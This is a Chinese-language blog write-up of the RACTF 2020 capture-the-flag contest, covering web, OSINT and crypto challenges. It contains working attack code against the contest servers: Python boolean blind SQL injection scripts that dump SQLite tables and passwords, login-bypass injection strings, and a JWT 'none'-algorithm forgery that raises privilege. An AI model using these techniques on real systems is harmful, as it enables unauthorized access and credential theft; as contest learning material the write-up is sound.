avatar

目录
RACTF2020

首次参加国外CTF,图个新鲜和乐呵。还是偶然间在ctfhub-ctf时间表上看到的,挺有意思的。贴个链接,以供来年参加。

Web

C0llide?

提示:A target service is asking for two bits of information that have the same “custom hash”, but can’t be identical. Looks like we’re going to have to generate a collision?

翻译:目标服务请求具有相同“自定义散列”的两位信息,但不能完全相同。看起来我们要产生碰撞了?

题目直接给出了代码,是nodejs的。因为nodejs对于可能在web中不太常见(至少对我来说是这样),一些题可能就是直接给出一小段代码,然后去考察小的漏洞知识点,就像最近GKCTF中的EzNode。这里把获取flag的方式都给出来了,下来就看怎么达到获取flag的要求了。

const bodyParser = require("body-parser")
const express = require("express")
const fs = require("fs")
const customhash = require("./customhash")

const app = express()
app.use(bodyParser.json())    //json解析

const port = 3000
const flag = "flag"
const secret_key = "Y0ure_g01nG_t0_h4v3_t0_go_1nto_h4rdc0r3_h4ck1ng_m0d3"

app.get('/', (req, res) => {
    console.log("[-] Source view")
    res.type("text")
    return fs.readFile("index.js", (err,data) => res.send(data.toString().replace(flag, "flag")))
})

app.post('/getflag', (req, res) => {
    console.log("[-] Getflag post")
    if (!req.body) {return res.send("400")}
    let one = req.body.one
    let two = req.body.two
    console.log(req.body)
    if (!one || !two) {
        return res.send("400")
    }
    if ((one.length !== two.length) || (one === two)) {
        return res.send("Strings are either too different or not different enough")
    }
    one = customhash.hash(secret_key + one)
    two = customhash.hash(secret_key + two)
    if (one == two) {
        console.log("[*] Flag get!")
        return res.send(flag)
    } else {
        return res.send(`${one} did not match ${two}!`)
    }
})

app.listen(port, () => console.log(`Listening on port ${port}`))

看完代码再结合提示,就可以知道题目想要我们产生碰撞。首先,需要传两个参数one和two;然后,两个参数长度必须相等但内容不相等(三个=);最后,两参数分别加上secret_key,被customhash.hash()函数处理,如果处理结果相等(两个=),就可以得到flag。这里的==和===类似于php,==可以忽略类型,===要求值和类型都必须相同。

刚开始,以为漏洞点存在于customhash.hash()这个函数。但我找了一会儿,发现找不到这个东西的poc,再看下它的代码是本地包含的,看来是自己写的hash。然后发现走错方向了,在看那个==和===的区别,发现应该是利用nodejs的字符比较特性来解题的,最后在这篇博客找到了答案。

学习后,构造[6, 6]和[“6”, “6”]。(后面的[6]和[“6”]都一样,没差别)

至此为此,我的思路都对,已经可以解出来了。但是我在在post传json数据上面栽了坑,一直在尝试最常用的post传参数,结果就是一直传不过去。后面在本地调试后,知道了req请求体一直为空。心想代码总不可能有问题吧,然后就去谷歌了nodejs怎么post传不过去数据。得知传不过去,必定是方式有问题,才改成了post传json数据。

在改成传json数据数据之后,仍然出了点小问题,我把one和two的值都用引号括起来了,这样就造成它们被解析为字符串了。one的值为”[6]”,长度为3;tow的值为”[“6”]”,长度为5,这样就过不去第二个判断了。

又经过本地调试几次,才知道要把引号给去了。想传什么类型的值,直接传就好,数字和数组都不用加引号。最终的payload为json格式的数据,并选择hackbar的数据格式为application/json。执行,得到flag。

踩坑踩到我想死,基础薄弱啊

环境2

Quarantine - Hidden information

题目:Challenge instance ready at .95.216.233.106:41794.

提示:We think there’s a file they don’t want people to see hidden somewhere! See if you can find it, it’s gotta be on their webapp somewhere…

根据提示,想到robots.txt。访问一下,看到提示。

访问/admin-stash,得到flag。

送分题???

Quarantine

提示:See if you can get access to an account on the webapp.

环境仍然是上面的环境,但是有不同的要求,要获取账户访问权限。登录界面如下。

在登录框输入用户名a’和密码123,看到报错

输入用户名a’–和密码123,看到回显不可用的账户或密码,证明存在注入。这里的–为sqlite的注释符,直接这样想,是因为下面有道题目同样是flask框架,看着环境近乎一样,这里就也猜想他用的库为sqlite。

输入用户名a’or ‘1’–和密码123,看到有一个标志。那么就可以根据是否出现这个标志进行布尔盲注。

写脚本如下:

#! -*- encoding:utf-8 -*-
import requests
import string

def request(index, compare, chr_index):
    url = "http://95.216.233.106:33211/sign-in"
    a="'or(select sqlite_version())--"
    #1.数据库版本
    payload = "' or (substr((select sqlite_version()),{0},1) {1} {2}) --".format(str(index), compare, ascii(chr(chr_index)))
    #2.所有表名  users
    payload = "' or (substr((SELECT name FROM sqlite_master WHERE type='table'),{0},1) {1} {2}) --".format(str(index), compare, ascii(chr(chr_index)))
    #3.所有表结构(包含字段名,表名,
    # create table users (username char, password char, privilege int)
    payload = "' or (substr((SELECT sql FROM sqlite_master WHERE type='table'),{0},1) {1} {2}) --".format(str(index), compare, ascii(chr(chr_index)))
    #4字段内容, 一次只能查一个字段
    # username:Harry,John,Dave
    payload = "' or (substr((SELECT group_concat(username) FROM users),{0},1) {1} {2}) --".format(str(index), compare, ascii(chr(chr_index)))
    # password:P@ssw0rd123!s%dgyASD,cr1k3yth4ts4l0ngp4ss,p3rf3ct1nfr4structre
    payload = "' or (substr((SELECT group_concat(password) FROM users),{0},1) {1} {2}) --".format(str(index), compare, ascii(chr(chr_index)))
    # privilege:1,1,1
    payload = "' or (substr((SELECT group_concat(privilege) FROM users),{0},1) {1} {2}) --".format(str(index), compare, ascii(chr(chr_index)))
    data={
        'user': payload,
        'pass':'1'
    }
    r=requests.post(url, data=data)
    #print(r.text)
    if "Attempting" in r.text:
        return True
    else:
        return False

res = ""
for i in range(1, 500):
    left = 32
    right = 127
    while(left <= right):
        mid = (left + right) >> 1
        try:        # 防止连接过多报错,导致中断脚本
            if request(i, ">" , mid):   
                left = mid + 1
            elif request(i, "<" , mid): 
                right = mid - 1
            elif request(i, "=" , mid):
                res += chr(mid)
                print(res)   
                break
        except requests.exceptions.ConnectionError:
            print('Connection Error')
            continue
print(res)

选择任意一个对应的用户名和密码登录,得到flag。

Getting admin

提示:See if you can get an admin account.

环境同上一题。让我得到管理员账户,但弄了半天,也不知道怎么搞。花了50点,看了hint如下。

Hint: Look into JWTs, specifically the none algorithm.

看来是jwt的问题,在这篇博客学习了一波jwt。再看提示,关键为空算法。看来是把算法改成空,就可以通过验证,是比较简单的一种攻击。

在Cookie中就可以看到格式类似于jwt的东西,两个小数点把数据分为三段非常明显。早该注意的,可惜之前碰到jwt的时候没好好学习。

把这部分jwt拿到jwt.io上解密得到关键信息。

知道了payload,就可以构造信息生成payload。之前,我们盲注知道表单有privilege表段,并且所有账户的值都为1。猜测这个值是用来标识管理员的,在猜测各种数字之后,最终确定是2标识了管理员。

之后,用如下脚本生成让服务器不进行验证的jwt。

import jwt    #pip装
# 任选一用户,修改标识
encode_jwt = jwt.encode({"user": "Harry","privilege":2}, None, algorithm='none')

print(encode_jwt)
# b'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.'

把cookie中的auth更改为生成的值,再去点击页面左下角的admin,得到flag。就这最后一步,我还弄了半天,因为一直在bp上弄的,最后才发觉是要点这个admin,orz。

Finding server information(未做出)

提示:See if you can find the source, we think it’s called app.py

环境同上一题。仍然是看了半天没思路,去看了Hint。

Hint:That URL looks like it might be vulnerable to LFI… if only we could get around Nginx filtering ../

本地文件包含,过滤了路径穿越的关键符号,进行绕过就可以了。至于为什么是路径穿越,在我看到这个videos文件夹的时候,就应该想到的,还是没有题感。

50

看到wp,有如下解释:

Our goal is to find the app.py file somewhere within this application. So trying out some random values for /watch/[input] gives a server error. When we try /watch/app.py, we see that it does not give an error and that there is no video showing.

所以尝试访问错误URL,获取服务器报错信息。但是在/watch/app.py这里,并没有报错。看下源码,就得到flag。

hint坑人啊,我还一直在向../被过滤这方面考虑,简直了。

环境3

Entrypoint

提示:Sadly it looks like there wasn’t much to see in the python source. We suspect we may be able to login to the site using backup credentials, but we’re not sure where they might be. Encase the password you find in ractf{...} to get the flag.

This challenge does NOT have fake flags. If you found some other flags while solving this challenge, you may have found the solutions to the next challenges first :P

这好像是一系列的题目都在一个环境上面,会找到多个flag,才有上面这个提示。

进入环境,看到一个python的登录界面,这个还是挺新奇的,不是php的。

50

然后,查看页面源代码,看到一个提示backup.txt。

但是,直接访问它,发现禁止访问。

然后,就想去扫下目录。

去访问console,发现让我们输入PIN码,想到了flask的debug模式下的PIN码问题,可以根据信息去构造出PIN码。但这里应该还用不到。

访问robots.txt,看到几个disallow。

访问admin,wp-admin和admin.php,都显示没有资源。访问static,获取一些报错信息。根据报错信息能获取一些生成PIN码所需要的路径信息。

50

访问sitemap.xml,看到sitemap.xml.bak。

访问sitemap.xml.bak,下载得到文件。打开后,看到_journal.txt。

访问_journal.txt,得到日志信息,还有一个flag。

50

但提交flag之后,发现不是这一问的。

50

最后,再看_journal.txt的第三段话,意识到这里的登录框存在注入点。输入admin’和123,就发现可以报错。

输入admin’or’1,登录成功。

根据这样的标志,在这篇博客学习了sqlite的相关语法,写出如下脚本,进行盲注。

#! -*- encoding:utf-8 -*-
import requests
import string

def request(index, compare, chr_index):
    url = "http://95.216.233.106:26143/"
    #1.所有表名  users
    payload = "' or (substr((SELECT name FROM sqlite_master WHERE type='table'),{0},1) {1} {2}) or '0".format(str(index), compare, ascii(chr(chr_index)))
    #2.所有表结构(包含字段名,表名,
    payload = "' or (substr((SELECT sql FROM sqlite_master WHERE type='table'),{0},1) {1} {2}) or '0".format(str(index), compare, ascii(chr(chr_index)))
    #3字段内容, 一次只能查一个字段
    #payload = "' or (substr((SELECT group_concat(username) FROM users),{0},1) {1} {2}) or '0".format(str(index), compare, ascii(chr(chr_index)))
    #payload = "' or (substr((SELECT group_concat(password) FROM users),{0},1) {1} {2}) or '0".format(str(index), compare, ascii(chr(chr_index)))
    payload = "' or (substr((SELECT password FROM users limit 2,1),{0},1) {1} {2}) or '0".format(str(index), compare, ascii(chr(chr_index)))
    # 0,1,0,0,0,0,0,0
    #payload = "' or (substr((SELECT group_concat(admin) FROM users),{0},1) {1} {2}) or '0".format(str(index), compare, ascii(chr(chr_index)))
    # not authorized
    #payload = "' or (substr((select load_extension('./backup.txt')),{0},1) {1} {2}) or '0".format(str(index), compare, ascii(chr(chr_index)))

    data={
        'username': payload,
        'password':'1'
    }
    r=requests.post(url, data=data)
    #print(r.text)
    if "xxslayer420" in r.text:
        return True
    else:
        return False

res = ""
for i in range(1, 500):
    left = 32
    right = 127
    while(left <= right):
        mid = (left + right) >> 1
        try:        # 防止连接过多报错,导致中断脚本
            if request(i, ">" , mid):   # target < mid 
                left = mid + 1
            elif request(i, "<" , mid): 
                right = mid - 1
            elif request(i, "=" , mid):
                res += chr(mid)
                print(res) 
                #print(res.lower()) 
                break
        except requests.exceptions.ConnectionError:
            print('Connection Error')
            continue
print(res)

得到表的结构如下:

得到用户名如下,这里都是小写是因为之前的脚本都把它变小写了,后来意识到这样做是不对的,因为有的账户名是大写。

其他相应的东西,都可以由上面脚本爆出来,但没什么用。因为他对密码进行了sha256的加密(从表结构的第三列得知),我爆出来去解密也得不到结果。还有一个信息,就是第二个账户为管理员。

做了很多了的工作,最后还是再看了一遍题目的提示和_journal.txt中的一段话,才弄出来。

读了以上的信息,发现这里的关键还是哪个backup.txt文件,但是直接访问会报错,提示没有权限。直到我一一尝试,在static后面加上backup.txt,访问成功。得到develop的账户和密码,把密码裹起来,就是flag。

这个方式挺奇怪的,也不清楚是为什么,去搜索一下,得到如下答案:

默认设置下,Flask 在程序根目录中名为 static 的子目录中寻找静态文件。如果需要,可在static 文件夹存放文件。服务器收到前面的 URL 后,会生成一个响应,包含文件系统中 static/XXX文件的内容。

看来这个备份文件是在static中的,一访问就从服务器的static中寻找。这样的利用方式像是后门一样。

Baiting

提示:That user list had a user called loginToGetFlag. Well, what are you waiting for?

让我们登录获取flag,那么怎么以特定用户登录呢。构造用户名:loginToGetFlag’and’1’–和密码:123(任意),相当于把后面的密码给注释了,前面的查询为真,登录就得到flag。

这里是用and连接,同时把后面的东西给注释掉,导致这个用户名的查询语句为真,就登录成功。之前一直是用的or,这里的and还是试了一会儿的,要多思考这种逻辑才对。

Admin Attack(未做出)

提示:Looks like we managed to get a list of users. That admin user looks particularly interesting, but we don’t have their password. Try and attack the login form and see if you can get anything.

在前面的Entrypoint登录之后,发现所有用户,就是我之前注入得到的。

题目让我们攻击登录表单,看看有什么信息。经过侧睡,发现他会报出的错误有两种语句类型。一种是选择加密算法,另一种是选择用户和密码对应的记录。个人猜测是,先选算法,对密码加密,然后再将加密密码传入第二个选择用户记录的语句,判断是否能登录。

我想根据盲注信息来登录,但事实是不行的,密码都是sha256加密,爆出来的东西只能确定数据库结构。

然后,看国内同仁的wp,简单构造username='or 1 limit 1,1--&password=123,就能得出flag。limit 1,1等于说就是把第二条记录,也就是管理员那条记录给选出来了,这样就成功管理员登录。

Vandalism(未做出)

提示:That admin panel was awfully bare. There must be some other page, but we’ve no idea where it is. Just to clarify, ractf{;)} is the greedy admins stealing all the flags, it’s not the actual flag.

说一定还有其它页面,然后在前面的管理员登录响应页面看到了一个东西。

访问之后,在源代码看到一堆下面的东西。

这里说这个是Unicode编码和ascii的混合,用脚本遍历ascii,就可得到flag。

import requests
import string
from requests.adapters import HTTPAdapter

url='http://95.216.233.106:30279/__adminPortal'

cookie = {
    'session':'5d924781-f5dd-42b3-bad0-093ff15782ee'
}
s=string.printable
session = requests.session()
session.mount('http://', HTTPAdapter(max_retries=5))
result=session.get(url=url,cookies=cookie).text
data=result.split('\<\h3 style="display:none"\>')    #要去掉反斜杠

for i in data[1]:
    if i in s:
        print(i,end='')
    else:
        pass

Insert witty name(未做出)

提示:Having access to the site’s source would be really useful, but we don’t know how we could get it. All we know is that the site runs python.

关键是python这个框架,但不熟。以如下的方式就可以得到flag,emmm,python这种见的还是少啊。

Xtremely Memorable Listing

提示:We’ve been asked to test a web application, and we suspect there’s a file they used to provide to search engines, but we can’t remember what it used to be called. Can you have a look and see what you can find?

flag为最开始在_journal.txt找到的值。

Misc

Discord

签到题,在Discord中找到flag

OSINT

这好像是个社工类型的题目类别,考察信息搜集,定位目标人员。

RAirways

题目:Agent. We found a target posting strange images of boarding passes to his Instagram. None of the guys at base can figure it out, but we think he’s been using the images to exfiltrate data. We’ve attached a high-quality version of the image below, here’s the one from his Instagram:

在上图看到了条形码,直接到识别条码网站,识别得到flag。

ractf{B0ard1ngP4ssD4t4}

Remote Retreat

题目:Agent, it’s good to have you.

One of our targets has been constantly avoiding us, but we managed to find their private Instagram. They just posted a photo, but we can’t work out where they are. We tried to check the EXIF data, but it appears the social platform removes it automatically.

Let us know where he is by clicking on the map, you’ll have to be accurate to within 500 meters!

给出一张目标的摄影照片(如下),然后让我们去寻找目标所在地。刚开始以为挺麻烦的,在试了一会儿发现还是可以做的。

用谷歌加上图片中的关键字搜图,发现一个网址。

点进去,在第13位发现了目标地点。

进入目标地点的介绍,看到是类似于大众点评的介绍。

可以在左上角看到地址。点击进入谷歌地图,搜索上图中的地址,在url框看到两个东西,就猜测为地点相应经纬度,后面也证明猜想是没错的。

然后就可以拿着经纬度,去题目给的提交框提交。每次提交后,会在地图上定位到正中心的位置。每次提交后,还需要手动放大地图,直到找到相应地点提交flag。

Cryptography

Really Simple Algorithm

题目:Challenge instance ready at 95.216.233.106:43859.

nc连接上之后,发现给出p,q,e和ct,就认为是RSA了。

p,q是两个私钥,e是公钥,ct是密文。直接用python写出脚本,解密即可。

import libnum

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def main():
    p=6993365611498418289502641340524674421618810802436688610741973750021700622798246666643885969098252872456954088986333134850544202679360445912541828798563903
    q=6880339459604993627291530006650423175004242981902238126768445096491714628297578367622929482486017466042799044465060922104847767753211803296373973622478957
    e=65537
    ct=36553323666123409329155619944166455541459939040873892318801454187334745671791946750332229307780406214918996738766799528473970188273718491074234783333556074303190986720797899225926910140495266799687661066113156984532381641620498540793824063777475356973614158626705646554527705777303415419332356169816444961588
    # compute n
    n = p * q

    # Compute phi(n)
    phi = (p - 1) * (q - 1)

    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a
    print( "n:  " + str(d) );

    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print( "pt: " + str(pt) )
    print(libnum.n2s(pt))

if __name__ == "__main__":
    main()

后记

参考

[1] Elnath-Web

[2] [RACTF 2020]Write-Up

文章作者: crownZ
文章链接: https://crownz-sec.github.io/2020/06/07/RACTF2020/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 crownZ's Blog

评论